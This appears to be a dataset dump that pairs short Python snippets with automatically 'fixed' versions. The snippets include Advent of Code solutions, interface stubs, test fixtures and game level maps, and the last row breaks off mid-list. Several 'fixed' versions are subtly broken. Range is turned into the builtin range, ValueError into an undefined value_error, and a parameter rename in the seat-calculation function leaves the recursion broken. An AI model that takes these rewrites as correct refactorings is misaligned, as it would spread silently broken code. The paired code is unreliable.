content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
class Repository(object): def byLocation(self, locationString): # pragma: no cover """Get the provenance for a file at the given location. In the case of a dicom series, this returns the provenance for the series. Args: locationString (str): Location of the image file. Returns: dict: Provenance for one image file. """ def knowsByLocation(self, locationString): # pragma: no cover """Whether the file at this location has provenance associated with it. Returns: bool: True if provenance is available for that path. """ def knows(self, image): # pragma: no cover """Whether this file has provenance associated with it. Returns: bool: True if provenance is available for this image. """ def getSeries(self, image): # pragma: no cover """Get the object that carries provenance for the series that the image passed is in. Args: image (:class:`.DicomFile`): File that is part of a series. Returns: :class:`.DicomFile`: Image object that caries provenance for the series. """ def knowsSeries(self, image): # pragma: no cover """Whether this file is part of a series for which provenance is available. Args: image (:class:`.BaseFile`): File for which the series is sought. Returns: bool: True if provenance is available for this series. """ def add(self, image): # pragma: no cover """Add the provenance for one file to storage. Args: image (:class:`.BaseFile`): Image file to store. """ def update(self, image): # pragma: no cover """Save changed provenance for this file.. Args: image (:class:`.BaseFile`): Image file that has changed. """ def all(self): # pragma: no cover """Retrieve all known provenance from storage. Returns: list: List of provenance for known files. """ def bySubject(self, subject): # pragma: no cover """Get the provenance for all files of a given participant. Args: subject (str): The name or other ID string. Returns: list: List of provenance for known files imaging this subject. """ def byApproval(self, approvalStatus): # pragma: no cover """""" def updateApproval(self, locationString, approvalStatus): # pragma: no cover """""" def latest(self, n=20): # pragma: no cover """Get the images that have been registered last. Args: n (int): The number of files to retrieve. Defaults to 20. Returns: list: List of BaseFile objects. """ def byId(self, uid): # pragma: no cover """Get the provenance for a file with the given id. Args: uid (str): Unique id for the file. Returns: BaseFile: File with the given id. """ def byLocations(self, listOfLocations): # pragma: no cover """Get any files that match one of these locations In the case of a dicom series, this returns the provenance for the series. Args: listOfLocations (list): List of image locations. Returns: list: List with BaseFile objects """
class Repository(object): def by_location(self, locationString): """Get the provenance for a file at the given location. In the case of a dicom series, this returns the provenance for the series. Args: locationString (str): Location of the image file. Returns: dict: Provenance for one image file. """ def knows_by_location(self, locationString): """Whether the file at this location has provenance associated with it. Returns: bool: True if provenance is available for that path. """ def knows(self, image): """Whether this file has provenance associated with it. Returns: bool: True if provenance is available for this image. """ def get_series(self, image): """Get the object that carries provenance for the series that the image passed is in. Args: image (:class:`.DicomFile`): File that is part of a series. Returns: :class:`.DicomFile`: Image object that caries provenance for the series. """ def knows_series(self, image): """Whether this file is part of a series for which provenance is available. Args: image (:class:`.BaseFile`): File for which the series is sought. Returns: bool: True if provenance is available for this series. """ def add(self, image): """Add the provenance for one file to storage. Args: image (:class:`.BaseFile`): Image file to store. """ def update(self, image): """Save changed provenance for this file.. Args: image (:class:`.BaseFile`): Image file that has changed. """ def all(self): """Retrieve all known provenance from storage. Returns: list: List of provenance for known files. """ def by_subject(self, subject): """Get the provenance for all files of a given participant. Args: subject (str): The name or other ID string. Returns: list: List of provenance for known files imaging this subject. """ def by_approval(self, approvalStatus): """""" def update_approval(self, locationString, approvalStatus): """""" def latest(self, n=20): """Get the images that have been registered last. Args: n (int): The number of files to retrieve. Defaults to 20. Returns: list: List of BaseFile objects. """ def by_id(self, uid): """Get the provenance for a file with the given id. Args: uid (str): Unique id for the file. Returns: BaseFile: File with the given id. """ def by_locations(self, listOfLocations): """Get any files that match one of these locations In the case of a dicom series, this returns the provenance for the series. Args: listOfLocations (list): List of image locations. Returns: list: List with BaseFile objects """
""" --- Day 20: Firewall Rules --- You'd like to set up a small hidden computer here so you can use it to get back into the network later. However, the corporate firewall only allows communication with certain external IP addresses. You've retrieved the list of blocked IPs from the firewall, but the list seems to be messy and poorly maintained, and it's not clear which IPs are allowed. Also, rather than being written in dot-decimal notation, they are written as plain 32-bit integers, which can have any value from 0 through 4294967295, inclusive. For example, suppose only the values 0 through 9 were valid, and that you retrieved the following blacklist: 5-8 0-2 4-7 The blacklist specifies ranges of IPs (inclusive of both the start and end value) that are not allowed. Then, the only IPs that this firewall allows are 3 and 9, since those are the only numbers not in any range. Given the list of blocked IPs you retrieved from the firewall (your puzzle input), what is the lowest-valued IP that is not blocked? Your puzzle answer was 23923783. --- Part Two --- How many IPs are allowed by the blacklist? Your puzzle answer was 125. Both parts of this puzzle are complete! They provide two gold stars: ** """ class Range: def __init__(self, start, end): self.start = start self.end = end def overlaps(self, other): if self == other: return False starts = (self.start, other.start) ends = (self.end, other.end) return min(starts) <= max(starts) <= min(ends) <= max(ends) or min(ends) == max(starts) - 1 def merge(self, other): all_values = (self.start, other.start, self.end, other.end) return Range(min(all_values), max(all_values)) def __eq__(self, other): if isinstance(other, self.__class__): return self.start == other.start and self.end == other.end return False def __hash__(self): return hash((self.start, self.end)) @staticmethod def parse(str_): start, end = str_.split("-") start, end = int(start), int(end) if end < start: raise ValueError(f"{end} can not be greater than {start}") return Range(start, end) def merge_ranges(ranges): def any_overlaps(ranges_): return any( r1.overlaps(r2) for r1 in ranges_ for r2 in ranges_) result = set(ranges) while any_overlaps(result): tmp_result = set() for r1 in result: for r2 in result: if r1.overlaps(r2): tmp_result.add(r1.merge(r2)) break else: tmp_result.add(r1) result = tmp_result return result def find_first_free_ip(ranges): return min(ranges, key=lambda r: r.end).end + 1 def find_number_of_free_ips(ranges, total_available): ranges = list(sorted(ranges, key=lambda r: r.end)) sum = 0 for idx in range(len(ranges) - 1): r1 = ranges[idx] r2 = ranges[idx + 1] sum += r2.start - r1.end - 1 sum += total_available - ranges[-1].end return sum if __name__ == "__main__": with open("20_firewall_rules.txt") as file: ranges = merge_ranges([ Range.parse(l.strip()) for l in file.readlines() ]) print(f"part 1: {find_first_free_ip(ranges)}") print(f"part 2: {find_number_of_free_ips(ranges, 4_294_967_295)}")
""" --- Day 20: Firewall Rules --- You'd like to set up a small hidden computer here so you can use it to get back into the network later. However, the corporate firewall only allows communication with certain external IP addresses. You've retrieved the list of blocked IPs from the firewall, but the list seems to be messy and poorly maintained, and it's not clear which IPs are allowed. Also, rather than being written in dot-decimal notation, they are written as plain 32-bit integers, which can have any value from 0 through 4294967295, inclusive. For example, suppose only the values 0 through 9 were valid, and that you retrieved the following blacklist: 5-8 0-2 4-7 The blacklist specifies ranges of IPs (inclusive of both the start and end value) that are not allowed. Then, the only IPs that this firewall allows are 3 and 9, since those are the only numbers not in any range. Given the list of blocked IPs you retrieved from the firewall (your puzzle input), what is the lowest-valued IP that is not blocked? Your puzzle answer was 23923783. --- Part Two --- How many IPs are allowed by the blacklist? Your puzzle answer was 125. Both parts of this puzzle are complete! They provide two gold stars: ** """ class Range: def __init__(self, start, end): self.start = start self.end = end def overlaps(self, other): if self == other: return False starts = (self.start, other.start) ends = (self.end, other.end) return min(starts) <= max(starts) <= min(ends) <= max(ends) or min(ends) == max(starts) - 1 def merge(self, other): all_values = (self.start, other.start, self.end, other.end) return range(min(all_values), max(all_values)) def __eq__(self, other): if isinstance(other, self.__class__): return self.start == other.start and self.end == other.end return False def __hash__(self): return hash((self.start, self.end)) @staticmethod def parse(str_): (start, end) = str_.split('-') (start, end) = (int(start), int(end)) if end < start: raise value_error(f'{end} can not be greater than {start}') return range(start, end) def merge_ranges(ranges): def any_overlaps(ranges_): return any((r1.overlaps(r2) for r1 in ranges_ for r2 in ranges_)) result = set(ranges) while any_overlaps(result): tmp_result = set() for r1 in result: for r2 in result: if r1.overlaps(r2): tmp_result.add(r1.merge(r2)) break else: tmp_result.add(r1) result = tmp_result return result def find_first_free_ip(ranges): return min(ranges, key=lambda r: r.end).end + 1 def find_number_of_free_ips(ranges, total_available): ranges = list(sorted(ranges, key=lambda r: r.end)) sum = 0 for idx in range(len(ranges) - 1): r1 = ranges[idx] r2 = ranges[idx + 1] sum += r2.start - r1.end - 1 sum += total_available - ranges[-1].end return sum if __name__ == '__main__': with open('20_firewall_rules.txt') as file: ranges = merge_ranges([Range.parse(l.strip()) for l in file.readlines()]) print(f'part 1: {find_first_free_ip(ranges)}') print(f'part 2: {find_number_of_free_ips(ranges, 4294967295)}')
# Get the starting fibonacci numbers start1 = int(input("First fibonacci number: ")) start2 = int(input("Second fibonacci number: ")) # New line print("") fibonacci = [start1, start2] for i in range(2, 102): current_fibonacci = fibonacci[i - 1] + fibonacci[i - 2] fibonacci.append(current_fibonacci) # Print all fibonacci numbers for val in fibonacci: print(val) input("\r\nPress enter to continue...")
start1 = int(input('First fibonacci number: ')) start2 = int(input('Second fibonacci number: ')) print('') fibonacci = [start1, start2] for i in range(2, 102): current_fibonacci = fibonacci[i - 1] + fibonacci[i - 2] fibonacci.append(current_fibonacci) for val in fibonacci: print(val) input('\r\nPress enter to continue...')
m = 'John Smithfather' a = m[:-6] b = m[-6:] print(b.title() + ": " + a) print('AsDf'.lower(), 'AsDf'.upper())
m = 'John Smithfather' a = m[:-6] b = m[-6:] print(b.title() + ': ' + a) print('AsDf'.lower(), 'AsDf'.upper())
num=int(input("Enter number:")) if (num > 0): print(num,"is a positive number") else: print(num,"is not a positive number")
num = int(input('Enter number:')) if num > 0: print(num, 'is a positive number') else: print(num, 'is not a positive number')
class _DoubleLinkedBase: class _Node: __slots__ = '_element', '_prev', '_next' def __init__(self, element, prev, next): self._element = element self._prev = prev self._next = next def __init__(self): self._header = self._Node(None, None, None) self._tailer = self._Node(None, None, None) self._header._next = self._tailer self._tailer._prev = self._header self._size = 0 def insert_between(self, e, prev, next): node = self._Node(e, prev, next) prev._next = node next._prev = node self._size += 1 return node def delete(self, node): node._prev._next = node._next node._next._prev = node._prev self._size -= 1 return node._element class PositionalList(_DoubleLinkedBase): class Position: def __init__(self, container, node): self._container = container self._node = node def element(self): return self._node._element def __eq__(self, other): return type(other) is type(self) and other._node is self._node def __ne__(self, other): return not (self == other) def _make_position(self, p): return self.Position(self, p)
class _Doublelinkedbase: class _Node: __slots__ = ('_element', '_prev', '_next') def __init__(self, element, prev, next): self._element = element self._prev = prev self._next = next def __init__(self): self._header = self._Node(None, None, None) self._tailer = self._Node(None, None, None) self._header._next = self._tailer self._tailer._prev = self._header self._size = 0 def insert_between(self, e, prev, next): node = self._Node(e, prev, next) prev._next = node next._prev = node self._size += 1 return node def delete(self, node): node._prev._next = node._next node._next._prev = node._prev self._size -= 1 return node._element class Positionallist(_DoubleLinkedBase): class Position: def __init__(self, container, node): self._container = container self._node = node def element(self): return self._node._element def __eq__(self, other): return type(other) is type(self) and other._node is self._node def __ne__(self, other): return not self == other def _make_position(self, p): return self.Position(self, p)
expected_output = { "tag": { "VRF1": { "hostname_db": { "hostname": { "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, "test": { "hostname_db": { "hostname": { "9999.99ff.3333": {"hostname": "R9", "level": 2}, "8888.88ff.1111": {"hostname": "R8", "level": 2}, "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "5555.55ff.aaaa": {"hostname": "R5", "level": 2}, "3333.33ff.6666": {"hostname": "R3", "level": 2}, "1111.11ff.2222": {"hostname": "R1", "level": 1}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, } }
expected_output = {'tag': {'VRF1': {'hostname_db': {'hostname': {'7777.77ff.eeee': {'hostname': 'R7', 'level': 2}, '2222.22ff.4444': {'hostname': 'R2', 'local_router': True}}}}, 'test': {'hostname_db': {'hostname': {'9999.99ff.3333': {'hostname': 'R9', 'level': 2}, '8888.88ff.1111': {'hostname': 'R8', 'level': 2}, '7777.77ff.eeee': {'hostname': 'R7', 'level': 2}, '5555.55ff.aaaa': {'hostname': 'R5', 'level': 2}, '3333.33ff.6666': {'hostname': 'R3', 'level': 2}, '1111.11ff.2222': {'hostname': 'R1', 'level': 1}, '2222.22ff.4444': {'hostname': 'R2', 'local_router': True}}}}}}
def add_binary(a, b): """ Implement a function that adds two numbers together and returns their sum in binary. The conversion can be done before, or after the addition. The binary number returned should be a string. """ return str(bin(a+b)[2:]) # TESTS assert add_binary(1, 1) == "10" assert add_binary(0, 1) == "1" assert add_binary(1, 0) == "1" assert add_binary(2, 2) == "100" assert add_binary(51, 12) == "111111"
def add_binary(a, b): """ Implement a function that adds two numbers together and returns their sum in binary. The conversion can be done before, or after the addition. The binary number returned should be a string. """ return str(bin(a + b)[2:]) assert add_binary(1, 1) == '10' assert add_binary(0, 1) == '1' assert add_binary(1, 0) == '1' assert add_binary(2, 2) == '100' assert add_binary(51, 12) == '111111'
RUN_CREATE_DATA = { "root_name": "agent", "agent_name": "agent", "component_spec": { "components": { "agent==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3PPOAgent", "dependencies": { "environment": ( "environment==" "f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), "tracker": ( "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), }, "file_path": "example_agents/sb3_agent/agent.py", "repo": "sb3_agent_dir", }, "environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "CartPole", "dependencies": {}, "file_path": "example_agents/sb3_agent/environment.py", "repo": "sb3_agent_dir", }, "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3Tracker", "dependencies": {}, "file_path": "example_agents/sb3_agent/tracker.py", "repo": "sb3_agent_dir", }, }, "repos": { "sb3_agent_dir": { "type": "github", "url": "https://github.com/nickjalbert/agentos.git", } }, }, "entry_point": "evaluate", "environment_name": "environment", "metrics": { "episode_count": 10.0, "max_reward": 501.0, "mean_reward": 501.0, "median_reward": 501.0, "min_reward": 501.0, "step_count": 5010.0, "training_episode_count": 356.0, "training_step_count": 53248.0, }, "parameter_set": {"agent": {"evaluate": {"n_eval_episodes": "10"}}}, }
run_create_data = {'root_name': 'agent', 'agent_name': 'agent', 'component_spec': {'components': {'agent==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'SB3PPOAgent', 'dependencies': {'environment': 'environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0', 'tracker': 'tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0'}, 'file_path': 'example_agents/sb3_agent/agent.py', 'repo': 'sb3_agent_dir'}, 'environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'CartPole', 'dependencies': {}, 'file_path': 'example_agents/sb3_agent/environment.py', 'repo': 'sb3_agent_dir'}, 'tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'SB3Tracker', 'dependencies': {}, 'file_path': 'example_agents/sb3_agent/tracker.py', 'repo': 'sb3_agent_dir'}}, 'repos': {'sb3_agent_dir': {'type': 'github', 'url': 'https://github.com/nickjalbert/agentos.git'}}}, 'entry_point': 'evaluate', 'environment_name': 'environment', 'metrics': {'episode_count': 10.0, 'max_reward': 501.0, 'mean_reward': 501.0, 'median_reward': 501.0, 'min_reward': 501.0, 'step_count': 5010.0, 'training_episode_count': 356.0, 'training_step_count': 53248.0}, 'parameter_set': {'agent': {'evaluate': {'n_eval_episodes': '10'}}}}
#from pydrive_functions import write_trees_csvs """ write_trees_csvs() df = get_trees_dataframes() df2 = get_image_ids(df, ids_file.images_ids) df2.to_csv('result.csv') """
""" write_trees_csvs() df = get_trees_dataframes() df2 = get_image_ids(df, ids_file.images_ids) df2.to_csv('result.csv') """
def calculateSeat(line, numRows, numColumns): def getSeatParameter(line, up, down, currentCharNum, numChars, minValue, maxValue): if line[currentCharNum] == up: if currentCharNum == numChars: return maxValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, (minValue + maxValue) // 2 + 1, maxValue) elif line[currentCharNum] == down: if currentCharNum == numChars: return minValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, minValue, (minValue + maxValue) // 2) return getSeatParameter(line, "B", "F", 0, numRows - 1, 0, 2 ** numRows - 1) * (numRows + 1) + getSeatParameter(line, "R", "L", numRows, numRows + numColumns - 1, 0, 2 ** numColumns - 1) def part1(input): max = 0 for line in input: seat = calculateSeat(line, 7, 3) if seat > max: max = seat return max def part2(input): places = [] for line in input: places.append(calculateSeat(line, 7, 3)) places.sort() for i in range(len(places) - 1): if places[i] + 2 == places[i + 1]: return places[i] + 1 f = open("input.txt", "r") input = f.read().splitlines() print(part1(input)) #890 print(part2(input)) #651 f.close()
def calculate_seat(line, numRows, numColumns): def get_seat_parameter(line, up, down, currentCharNum, numChars, minValue, maxValue): if line[currentCharNum] == up: if currentCharNum == numChars: return maxValue current_char_num += 1 return get_seat_parameter(line, up, down, currentCharNum, numChars, (minValue + maxValue) // 2 + 1, maxValue) elif line[currentCharNum] == down: if currentCharNum == numChars: return minValue current_char_num += 1 return get_seat_parameter(line, up, down, currentCharNum, numChars, minValue, (minValue + maxValue) // 2) return get_seat_parameter(line, 'B', 'F', 0, numRows - 1, 0, 2 ** numRows - 1) * (numRows + 1) + get_seat_parameter(line, 'R', 'L', numRows, numRows + numColumns - 1, 0, 2 ** numColumns - 1) def part1(input): max = 0 for line in input: seat = calculate_seat(line, 7, 3) if seat > max: max = seat return max def part2(input): places = [] for line in input: places.append(calculate_seat(line, 7, 3)) places.sort() for i in range(len(places) - 1): if places[i] + 2 == places[i + 1]: return places[i] + 1 f = open('input.txt', 'r') input = f.read().splitlines() print(part1(input)) print(part2(input)) f.close()
#Ex 1041 Coordenadas de um ponto 10/04/2020 x, y = map(float, input().split()) if x > 0 and y > 0: print('Q1') elif x < 0 and y > 0: print('Q2') if x > 0 and y < 0: print('Q4') elif x < 0 and y < 0: print('Q3') elif x == 0 and y == 0: print('Origem')
(x, y) = map(float, input().split()) if x > 0 and y > 0: print('Q1') elif x < 0 and y > 0: print('Q2') if x > 0 and y < 0: print('Q4') elif x < 0 and y < 0: print('Q3') elif x == 0 and y == 0: print('Origem')
N = 10 I = 60 CROSSBAR_FEEDBACK_DELAY = 75e-12 CROSSBAR_INPUT_DELAY = 95e-12
n = 10 i = 60 crossbar_feedback_delay = 7.5e-11 crossbar_input_delay = 9.5e-11
def howdoyoudo(): global helvar if helvar <= 2: i01.mouth.speak("I'm fine thank you") helvar += 1 elif helvar == 3: i01.mouth.speak("you have already said that at least twice") i01.moveArm("left",43,88,22,10) i01.moveArm("right",20,90,30,10) i01.moveHand("left",0,0,0,0,0,119) i01.moveHand("right",0,0,0,0,0,119) sleep(2) relax() helvar += 1 elif helvar == 4: i01.mouth.speak("what is your problem stop saying how do you do all the time") i01.moveArm("left",30,83,22,10) i01.moveArm("right",40,85,30,10) i01.moveHand("left",130,180,180,180,180,119) i01.moveHand("right",130,180,180,180,180,119) sleep(2) relax() helvar += 1 elif helvar == 5: i01.mouth.speak("i will ignore you if you say how do you do one more time") unhappy() sleep(4) relax() helvar += 1
def howdoyoudo(): global helvar if helvar <= 2: i01.mouth.speak("I'm fine thank you") helvar += 1 elif helvar == 3: i01.mouth.speak('you have already said that at least twice') i01.moveArm('left', 43, 88, 22, 10) i01.moveArm('right', 20, 90, 30, 10) i01.moveHand('left', 0, 0, 0, 0, 0, 119) i01.moveHand('right', 0, 0, 0, 0, 0, 119) sleep(2) relax() helvar += 1 elif helvar == 4: i01.mouth.speak('what is your problem stop saying how do you do all the time') i01.moveArm('left', 30, 83, 22, 10) i01.moveArm('right', 40, 85, 30, 10) i01.moveHand('left', 130, 180, 180, 180, 180, 119) i01.moveHand('right', 130, 180, 180, 180, 180, 119) sleep(2) relax() helvar += 1 elif helvar == 5: i01.mouth.speak('i will ignore you if you say how do you do one more time') unhappy() sleep(4) relax() helvar += 1
# flake8: noqa # fmt: off """List of Valorant API available regions and endpoints.""" REGION_URL = { "BR": "https://br.api.riotgames.com", "EUN": "https://eun.api.riotgames.com", "AP": "https://ap.api.riotgames.com", "KR": "https://kr.api.riotgames.com", "LATAM": "https://latam.api.riotgames.com", "NA": "https://na.api.riotgames.com", } API_PATH = { "platform_data": "{region_url}/val/status/v1/platform-data", "contents": "{region_url}/val/status/v1/contents", }
"""List of Valorant API available regions and endpoints.""" region_url = {'BR': 'https://br.api.riotgames.com', 'EUN': 'https://eun.api.riotgames.com', 'AP': 'https://ap.api.riotgames.com', 'KR': 'https://kr.api.riotgames.com', 'LATAM': 'https://latam.api.riotgames.com', 'NA': 'https://na.api.riotgames.com'} api_path = {'platform_data': '{region_url}/val/status/v1/platform-data', 'contents': '{region_url}/val/status/v1/contents'}
levelsMap = [ #level 1-1 ("g1","f1",[["ma1","ma3","ma5","b1","m1","e1","m1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","b1","b1","b1","b1","ma2","ma4","ma6"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","m1","b1","ma1","ma3","ma5","b1","m1","b1","b1"], ["b1","b1","m1","b1","ma2","ma4","ma6","p1","m1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["ma1","ma3","ma5","b1","b1","b1","b1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","m1","e1","m1","b1","ma2","ma4","ma6"]]), #level 1-2 ("g1","f1",[["e1","b1","b1","b1","m1","b1","m1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["m1","m1","b1","m1","b1","m1","b1","m1","b1","m1","m1"], ["m1","m1","b1","m1","b1","m1","p1","m1","b1","m1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","m1","b1","m1","b1","b1","b1","e1"]]), #level 1-3 ("g1","f1",[["b1","b1","b1","m1","b1","m1","b1","m1","b1","m1","b1"], ["b1","m1","e1","b1","b1","b1","b1","b1","b1","m1","b1"], ["b1","m1","b1","m1","b1","m1","b1","ma1","ma3","ma5","b1"], ["b1","ma1","ma3","ma5","b1","b1","b1","ma2","ma4","ma6","b1"], ["b1","ma2","ma4","ma6","b1","m1","p1","b1","b1","b1","b1"], ["b1","b1","b1","b1","b1","b1","m1","b1","m1","m1","b1"], ["b1","m1","e1","m1","b1","m1","b1","b1","b1","e1","m1"], ["b1","b1","m1","b1","m1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma1","ma3","ma5","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma2","ma4","ma6","b1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"]]), #level 2-1 ("g1","f2",[["e1","b2","b2","b2","b2","b2","b2","b2","b2","b2","e1"], ["b2","b2","b2","b2","m2","b2","b2","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","m2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","m2","b2","b2","mb1","mb3","mb5","b2","b2","m2","m2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","m2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","b2","m2","b2","b2","b2","b2","m2","b2","b2","b2"], ["e1","b2","b2","b2","b2","p1","b2","b2","b2","b2","e1"]]), #level 2-2 ("g1","f2",[["e1","m2","m2","b2","m2","p1","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","e1","m2","m2"], ["b2","b2","b2","b2","b2","m2","b2","b2","b2","b2","b2"], ["b2","m2","m2","b2","m2","m2","b2","m2","m2","b2","m2"], ["e1","m2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","b2","m2","m2","b2","m2","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","m2","b2","b2","m2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","b2","m2","m2"], ["e1","b2","b2","m2","b2","b2","e1","m2","b2","b2","e1"]]), #level 2-3 ("g1","f2",[["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb2","mb4","mb6","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","p1","b2","b2","mb2","mb4","mb6"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb1","mb3","mb5","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"]]), #level 3-1 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","e1","m5","b3","m3","m3","v","v"], ["v","m3","b3","m5","b3","b3","b3","b3","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","m5","b3","m3","v"], ["m3","m5","b3","m5","b3","p1","b3","m5","b3","b3","m3"], ["m3","b3","b3","m5","b3","m5","b3","m5","m5","e1","m3"], ["v","m3","m5","b3","m5","b3","b3","b3","b3","m3","v"], ["v","m3","e1","b3","b3","m5","b3","m5","b3","m3","v"], ["v","v","m3","m3","b3","b3","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-2 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["m3","e1","b3","b3","m5","p1","b3","b3","b3","e1","m3"], ["m3","e1","b3","b3","b3","b3","m5","b3","b3","e1","m3"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-3 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","m5","e1","b3","m3","m3","v","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], ["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["m3","m5","b3","b3","b3","p1","b3","m5","b3","e1","m3"], ["m3","e1","b3","m5","b3","b3","b3","b3","b3","m5","m3"], ["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], ["v","v","m3","m3","b3","e1","m5","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]])]
levels_map = [('g1', 'f1', [['ma1', 'ma3', 'ma5', 'b1', 'm1', 'e1', 'm1', 'b1', 'ma1', 'ma3', 'ma5'], ['ma2', 'ma4', 'ma6', 'b1', 'b1', 'b1', 'b1', 'b1', 'ma2', 'ma4', 'ma6'], ['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1'], ['m1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1'], ['b1', 'b1', 'm1', 'b1', 'ma1', 'ma3', 'ma5', 'b1', 'm1', 'b1', 'b1'], ['b1', 'b1', 'm1', 'b1', 'ma2', 'ma4', 'ma6', 'p1', 'm1', 'b1', 'b1'], ['m1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1'], ['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1'], ['ma1', 'ma3', 'ma5', 'b1', 'b1', 'b1', 'b1', 'b1', 'ma1', 'ma3', 'ma5'], ['ma2', 'ma4', 'ma6', 'b1', 'm1', 'e1', 'm1', 'b1', 'ma2', 'ma4', 'ma6']]), ('g1', 'f1', [['e1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['m1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1'], ['m1', 'm1', 'b1', 'm1', 'b1', 'm1', 'p1', 'm1', 'b1', 'm1', 'm1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'e1']]), ('g1', 'f1', [['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1'], ['b1', 'm1', 'e1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1', 'b1'], ['b1', 'm1', 'b1', 'm1', 'b1', 'm1', 